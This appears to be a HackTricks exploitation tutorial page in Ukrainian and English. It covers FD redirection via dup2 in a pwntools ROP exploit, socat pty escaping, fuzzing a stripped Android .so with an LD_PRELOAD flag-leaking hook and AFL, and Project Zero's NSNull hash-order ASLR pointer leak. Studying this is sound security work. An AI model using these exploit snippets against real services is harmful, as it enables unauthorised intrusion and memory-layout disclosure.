Common Exploiting Problems
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
FDs in Remote Exploitation
Коли ви відправляєте exploit на віддалений сервер, який, наприклад, викликає system('/bin/sh'), це буде виконано в процесі сервера, і /bin/sh очікуватиме вводу зі stdin (FD: 0) та виводитиме результат у stdout і stderr (FDs 1 і 2). Тому attacker не зможе взаємодіяти з shell.
Один зі способів це виправити — припустити, що під час запуску сервер створив FD number 3 (для прослуховування), а ваше з’єднання опинилося в FD number 4. Тоді можна використати syscall dup2, щоб дублювати stdin (FD 0) та stdout (FD 1) у FD 4 (той, що відповідає з’єднанню attacker), що дозволить зв’язатися з shell після його запуску.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Зверніть увагу, що socat вже пересилає stdin і stdout на сокет. Однак режим pty включає символи DELETE. Тому, якщо ви відправите \x7f (DELETE), це видалить попередній символ у вашому експлойті.
Щоб обійти це, escape-символ \x16 повинен бути доданий перед будь-яким відправленим \x7f.
Here you can find an example of this behaviour.
Android AArch64 shared-library fuzzing & LD_PRELOAD hooking
When an Android app ships only a stripped AArch64 .so, you can still fuzz exported logic directly on-device without rebuilding the APK. A practical workflow:
- Знайдіть точки входу, які можна викликати.
objdump -T libvalidate.so | grep -E "validate"швидко виведе список експортованих функцій. Декомпілятори (Ghidra, IDA, BN) показують реальний підпис функції, напр.,int validate(const uint8_t *buf, uint64_t len). - Write a standalone harness. Завантажте файл, тримайте буфер живим і викличте експортований символ точно так, як це робить додаток. Крос-компілюйте з NDK (наприклад
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Minimal file-driven harness
```c #includeextern int validate(const uint8_t *buf, uint64_t len);
int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
</details>
3. **Відновіть очікувану структуру.** Рядки помилок і порівняння в Ghidra показали, що функція розбирає строгий JSON з постійними ключами (`magic`, `version`, вкладеним `root.children.*`) та арифметичними перевірками (наприклад, `value * 2 == 84` ⇒ `value` має бути `42`). Подавання синтаксично валідного JSON, який поступово задовольняє кожну гілку, дозволяє відтворити схему без інструментування.
4. **Обійдіть anti-debug, щоб leak секретів.** Оскільки `.so` імпортує `snprintf`, перевизначте його через `LD_PRELOAD`, щоб dump sensitive format strings навіть коли breakpoints заблоковано:
<details>
<summary>Мінімальний snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);
int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");
va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}
LD_PRELOAD=./hook.so ./validate_harness payload.json ексфільтрує внутрішній flag і підтверджує crash oracle без патчування бінарного файлу.
5. Зменшіть fuzz-простір. Дисасемблювання виявило XOR-ключ, повторно використаний у порівнянні, отже перші сім байтів flag були відомі. Фузьте лише дев’ять невідомих байтів.
6. Вбудуйте fuzz-байти всередину валідної JSON-обгортки. AFL-обгортка читає рівно дев’ять байтів з stdin, копіює їх у суфікс flag і жорстко задає всі інші поля (constants, tree depths, arithmetic preimage). Будь-яке некоректне зчитування просто завершує роботу, тож AFL витрачає цикли на осмислені тест-кейси:
Мінімальна AFL-обгортка
```c #includeextern int validate(unsigned char *bytes, size_t len);
#define FUZZ_SIZE 9
int main(void) {
uint8_t blob[FUZZ_SIZE];
if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0;
char suffix[FUZZ_SIZE + 1];
memcpy(suffix, blob, FUZZ_SIZE);
suffix[FUZZ_SIZE] = ‘\0’;
char json[512];
int len = snprintf(json, sizeof(json),
“{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”,
suffix);
if (len <= 0 || (size_t)len >= sizeof(json)) return 0;
validate((unsigned char *)json, len);
return 0;
}
</details>
7. **Run AFL with the crash-as-success oracle.** Будь-який вхід, який проходить усі семантичні перевірки й вгадує правильний дев’ятибайтовий суфікс, спричиняє навмисний crash; такі файли потрапляють у `output/crashes` і можуть бути відтворені через простий harness, щоб відновити секрет.
Цей робочий процес дозволяє швидко triage anti-debug-protected JNI validators, leak секрети за потреби, а потім fuzz тільки значущі байти — і все це без змін оригінального APK.
## Image/Media Parsing Exploits (DNG/TIFF/JPEG)
Зловмисні формати камер часто постачають власний bytecode (opcode lists, map tables, tone curves). Якщо більш привілейований декодер не перевіряє межі вимірів, отриманих із metadata, або індекси plane, ці opcodes перетворюються на керовані атакуючим примітиви читання/запису, які можна використати для groom the heap, pivot pointers або навіть leak ASLR. У реальному житті приклад від Samsung — Quram — свідчить про недавній кейс ланцюжка: баг `DeltaPerColumn` у перевірці меж, heap spraying через пропущені opcodes, vtable remapping і JOP chain до `system()`.
<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>
## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization
### Requirements & attack surface
- Сервіс приймає attacker-controlled property lists (XML або binary) і викликає `NSKeyedUnarchiver.unarchivedObjectOfClasses` з помірковано-пермісивним allowlist (наприклад, `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Отримані об’єкти повторно використовуються і пізніше серіалізуються знову через `NSKeyedArchiver` (або ітеруються в детермінованому порядку bucket) і відправляються назад атакуючому.
- Деякий тип ключа в контейнерах використовує значення вказівника як свій hash code. До березня 2025 року `CFNull`/`NSNull` віддавалися `CFHash(object) == (uintptr_t)object`, а десеріалізація завжди повертала shared-cache singleton `kCFNull`, даючи стабільний kernel-shared pointer без memory corruption або timing.
### Controllable hashing primitives
- **Pointer-based hashing:** `CFNull`’s `CFRuntimeClass` не має callback для hash, тож `CFBasicHash` використовує адресу об’єкта як hash. Оскільки singleton живе за фіксованою shared-cache адресою до наступного reboot, його hash стабільний між процесами.
- **Attacker-controlled hashes:** 32-bit `NSNumber` keys хешуються через `_CFHashInt`, який є детермінованим і attacker-controllable. Вибір конкретних цілих значень дозволяє атакуючому обирати `hash(number) % num_buckets` для будь-якого розміру таблиці.
- **`NSDictionary` implementation:** Нерухомі словники вбудовують `CFBasicHash` із простим числом бакетів (prime bucket count), обраним зі списку `__CFBasicHashTableSizes` (наприклад, 23, 41, 71, 127, 191, 251, 383, 631, 1087). Колізії обробляються лінійним probing (`__kCFBasicHashLinearHashingValue`), а serialization проходить по бакетах у числовому порядку; отже порядок серіалізованих ключів кодує індекс бакета, який у підсумку зайняв кожний ключ.
### Encoding bucket indices into serialization order
Створюючи plist, який матеріалізує словник із бакетами, що чергуються між заповненими й порожніми слотами, атакуючий обмежує, куди лінійний probing може помістити `NSNull`. Для прикладу з 7 бакетами заповнення парних бакетів ключами `NSNumber` дає:
```text
bucket: 0 1 2 3 4 5 6
occupancy: # _ # _ # _ #
During deserialization the victim inserts the single NSNull key. Its initial bucket is hash(NSNull) % 7, but probing advances until hitting one of the open indices {1,3,5}. The serialized key order reveals which slot was used, disclosing whether the pointer hash modulo 7 lies in {6,0,1}, {2,3}, or {4,5}. Because the attacker controls the original serialized order, the NSNull key is emitted last in the input plist so the post-reserialization ordering is solely a function of bucket placement.
Визначення точних остач за допомогою комплементарних таблиць
A single dictionary only leaks a range of residues. To determine the precise value of hash(NSNull) % p, build two dictionaries per prime bucket size p: one with even buckets pre-filled and one with odd buckets pre-filled. For the complementary pattern (_ # _ # _ # _), the empty slots (0,2,4,6) map to residue sets {0}, {1,2}, {3,4}, {5,6}. Observing the serialized position of NSNull in both dictionaries narrows the residue to a single value because the intersection of the two candidate sets yields a unique r_i for that p.
The attacker bundles all dictionaries inside an NSArray, so a single deserialize → serialize round trip leaks residues for every chosen table size.
Реконструкція 64-бітного shared-cache pointer
For each prime p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, the attacker recovers hash(NSNull) ≡ r_i (mod p_i) from the serialized ordering. Applying the Chinese Remainder Theorem (CRT) with the extended Euclidean algorithm yields:
Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64
Таким чином комбінований залишок однозначно дорівнює 64-бітному вказівнику на kCFNull. Project Zero PoC послідовно комбінує конгруенції, виводячи проміжні модулі, щоб показати збіжність до істинної адреси (0x00000001eb91ab60 на вразливій збірці).
Практичний робочий процес
- Generate crafted input: Побудуйте XML plist зі сторони атакуючого (по два словники на просте число,
NSNullсеріалізується останнім) та конвертуйте його в бінарний формат.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
- Victim round trip: Сервер-жертва десеріалізує з допомогою
NSKeyedUnarchiver.unarchivedObjectOfClasses, використовуючи множину дозволених класів{NSDictionary, NSArray, NSNumber, NSString, NSNull}, та одразу ре-серіалізує за допомогоюNSKeyedArchiver. - Residue extraction: Конвертація поверненого plist назад в XML виявляє порядок ключів словників. Хелпер, такий як
extract-pointer.c, читає таблицю об’єктів, визначає індекс одиночногоNSNull, зіставляє кожну пару словників з відповідним залишком бакету і вирішує систему CRT для відновлення вказівника shared-cache. - Verification (optional): Компіляція невеликого Objective-C хелпера, який друкує
CFHash(kCFNull), підтверджує, що leaked value співпадає з реальною адресою.
Для цього не потрібна помилка безпеки пам’яті — достатньо спостерігати порядок серіалізації структур з ключами-вказівниками, щоб отримати віддалений примітив обходу ASLR.
Пов’язані сторінки
Common Exploiting Problems Unsafe Relocation Fixups
Reversing Tools & Basic Methods
Джерела
- FD duplication exploit example
- Socat delete-character behaviour
- FuzzMe – Reverse Engineering and Fuzzing an Android Shared Library
- Pointer leaks through pointer-keyed data structures (Project Zero)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


